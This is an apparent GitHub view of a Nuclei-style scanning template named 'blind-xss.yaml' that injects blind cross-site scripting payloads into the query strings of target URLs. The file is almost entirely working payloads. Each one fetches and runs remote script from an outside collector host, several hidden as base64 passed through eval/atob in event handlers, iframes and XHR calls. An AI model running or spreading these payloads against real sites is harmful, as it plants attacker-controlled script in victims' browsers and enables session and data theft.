-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathblind-xss.yaml
32 lines (27 loc) · 2.17 KB
/
blind-xss.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
id: blind-xss
info:
name: Blind XSS
author: shelled
severity: medium
description: This template will spray blind XSS payloads into URLs. Use xss.report to check if the payload fired.
tags: xss,blind,generic
requests:
- method: GET
path:
- "{{BaseURL}}"
payloads:
injection:
- '"><script src=//xss.report/s/shelled></script>'
- '"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL3NoZWxsZWQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>'
- 'javascript:eval("var a=document.createElement(\"script\");a.src=\"//xss.report/s/shelled\";document.body.appendChild(a)")'
- '"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL3NoZWxsZWQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>'
- '"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL3NoZWxsZWQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>'
- '"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/s/shelled";parent.document.body.appendChild(a);</script>">'
- '<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//xss.report/s/shelled");a.send();</script>'
- '<script>$.getScript("//xss.report/s/shelled")</script>'
- 'var a=document.createElement("script");a.src="//xss.report/s/shelled";document.body.appendChild(a);'
fuzzing:
- part: query
type: replace
fuzz:
- "{{injection}}"